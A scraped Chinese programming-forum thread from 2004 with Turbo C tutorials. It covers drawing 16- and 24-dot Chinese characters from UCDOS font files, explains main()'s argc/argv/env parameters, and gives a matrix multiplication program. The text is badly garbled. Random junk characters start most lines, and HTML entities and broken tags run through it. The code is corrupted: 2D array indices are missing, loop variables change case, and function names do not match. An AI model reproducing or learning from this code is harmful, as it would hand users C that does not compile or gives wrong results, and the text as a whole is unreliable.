c2=(i-0xa1)&amp;0x07f;
f=0;
rec=c1*94+c2;
) r" w+ T! s' B5 M2 s! a2 ]l=rec*32L;
7 C6 ~' M8 A5 S1 x; Zlseek(handle,l,SEEK_SET);
read(handle,by,32);
for(i1=0;i1&lt;16;i1++)
4 Q/ E- `1 h7 }) _, Mfor(i2=0;i2&lt;2;i2++)
- y% A2 [. I1 c; }for(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
putpixel(x+i2*8+i3,y+i1,color);
6 g# q# Z" y6 _( b) Hx=x+z+16;
}
7 N: _% v4 g3 I4 R" Q/ B}
* N  b/ r. L' zreturn(x);
}
# W: m: `& H- F5 ?- `函数GetBit定义如下：
3 K3 E5 x) @/ Z& l; _% B　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
int GetBit(unsigned char c,int n)
{
return((c&gt;&gt;n)&amp;1);
}
汉字显示结束，应该关闭字库文件。
8 O$ ~: y! ^3 C! [* cvoid CloseHz(void)
{
close( handle );
8 W! c- d7 `# ~  @$ d}
#include "\Caic\Include\Hz.h"
' y) [9 }: k2 l& a3 a4 J& {#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
: o& L& [/ G4 N8 Jint gr=DETECT,gm;
* S" [+ d' h( b/ O, P+ K0 z- H& Minitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
getch();
closegraph();
% w% s% }8 m- ?+ E" c# b0 E1 S}显示２４点阵及放大汉字
- R( [8 w8 \; Q( j　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
, `1 D; ], M0 \% x& c2 O  r函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
5 N( p' D3 I6 ?/ x$ t1 d6 Zint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
% m2 x, Z/ z5 _$ d{
$ c0 O, a3 Q; uunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
  m' B$ L7 J  O& A5 Gint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
% S) d* P- x: t6 r9 f3 l* p5 `long l; /*color:汉字颜色*/
char by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
( w# }) g6 N& M+ V# \1 f, I2 M% _if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
if(i&gt;0xa1)
6 D3 U7 `4 y- n2 s3 P# _5 P( Zif(f==0){
* `; t' A2 R. @6 Bc1=(i-0xa1)&amp;0x7f;
f=1;
}
else{
c2=(i-0xa1)&amp;0x7f;
9 w& A' O9 i7 |7 E) S, U% yf=0;
rec=(c1-15)*94+c2;
& E0 a/ n5 ^! J" {5 ]6 Yl=rec*72L;
lseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1&lt;24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
for(i2=0;i2&lt;=2;i2++)
) w% J. _- d9 P- ]: n2 s( wfor(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
# b/ D' S* H# j# E putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
, x7 u! T8 E) Q8 ax=x+24*m+z;
}
}
+ s" Y" ]" B9 _/ Hreturn(x);
} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
  v. V4 S- P6 E( w#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
# D4 Z& A  Z8 ?8 \4 ]& vconst char* HzStr = "苦丁香Ｃ语言辅助学习软件";
! M' L' p/ z4 ^! kvoid main(){
int gr=DETECT,gm;
* x1 @- P: x/ I: G( o- Z* i! ~! Winitgraph(&amp;gr,gm,"\\Caic\\Bgi");
! T: D: J+ u5 Q# UOpenHz( Hz24Path );
+ L. K% c& y3 j5 p/ ^3 Z: ?Wrt24Hz(20,20, /*先是在（x,y）*/
" X4 e0 n; Q. x7 _4, /*汉字间的空格为4*/
RED, /*用红色显示*/
2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
CloseHz();
getch();
closegraph();
}
1 b; y, W8 ?6 Z% C</P>

---

作者: 韩冰    时间: 2004-10-4 02:41
<>　　再谈main()主函数
　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
' \! B* o, L# e6 V- O3 t　　* argv: 字符串数组。
在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
4 p; ~8 l7 _$ [$ i) A" t对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
...
1 V  ?! J* [, @" i3 z% z# Sargv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

---

作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
3 K: ?# `; y- y; Y. E#include&lt;stdio.h&gt;
$ b. x: d: X* v% {7 }4 q#include&lt;conio.h&gt;
#define X 3
#define Y 3</P><>int a[X][Y];
int b[X][Y];
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
main()
5 S7 k* W. l; P; k( [{
int i,j,temp;
clrscr();
& ]7 L; r" L8 S. Xprintf("lease input int matrix b[%d][%d]\n",X,Y);
5 Z0 r8 n8 }; Ifor(i=0;i&lt;Y;i++)
for(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
4 N% a/ I* r) b) s+ {/ C; x+ kb[j]=temp;
}
printf("lease input int matrix c[%d][%d]\n",X,Y);
* |$ M0 J/ P$ B* H! Zfor(i=0;i&lt;X;i++)
0 z' W! N0 Z2 U! l- L0 h& R2 N. y) Gfor(j=0;j&lt;Y;j++){
  ?* _7 Z: o# h2 V. a1 V4 I. m* Fscanf("%d",&amp;temp);
  X4 W$ k) r7 B  Y- L0 Lc[j]=temp;
}
matrix(b,c);
printf("Now print resource matrix b[%d][%d]=",X,Y);
8 _' c6 e/ O& S, Yfor(i=0;i&lt;X;i++){
. d2 }2 ~, v9 sprintf("\n");
! O+ l, A% R/ [5 K- J9 ^for(j=0;j&lt;Y;j++)
; \9 b! r$ ~/ p! N8 u) J: |0 Qprintf("%d ",b[j]);
}
printf("\n");
printf("Now print resource matrix c[%d][%d]=",X,Y);
for(i=0;i&lt;X;i++){
  t4 a& M8 {1 C  O  Cprintf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",c[j]);
}
4 ~9 t2 y" @% ]/ o% I2 ?printf("\n");
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
/ s: [; P+ c4 |! wfor(i=0;i&lt;X;i++){
printf("\n");
for(j=0;j&lt;Y;j++)
) a, u+ x" q& E2 N* w: dprintf("%d ",a[j]);
}
getch();
2 I7 @" R, f* f+ Jreturn 0;
}
8 r; l4 |6 S/ J0 z1 n# C5 G: I/********************************************************************/
: L% F: y+ V% q$ O/ u; o3 N. wvoid matrix(int b[][X],int c[][Y])
{
8 \: q3 I. ^7 f) u6 q/ Jint i,j,k,temp;
for(i=0;i&lt;X;i++)
for(j=0;j&lt;Y;j++){
$ ]* m( y" e" I1 T; e" ffor(k=0;k&lt;Y;k++)
: G  L1 l/ y3 Y- t8 Y* ba[j]+=b[k]*c[k][j];
}
}</P>

---

欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)

Powered by Discuz! X2.5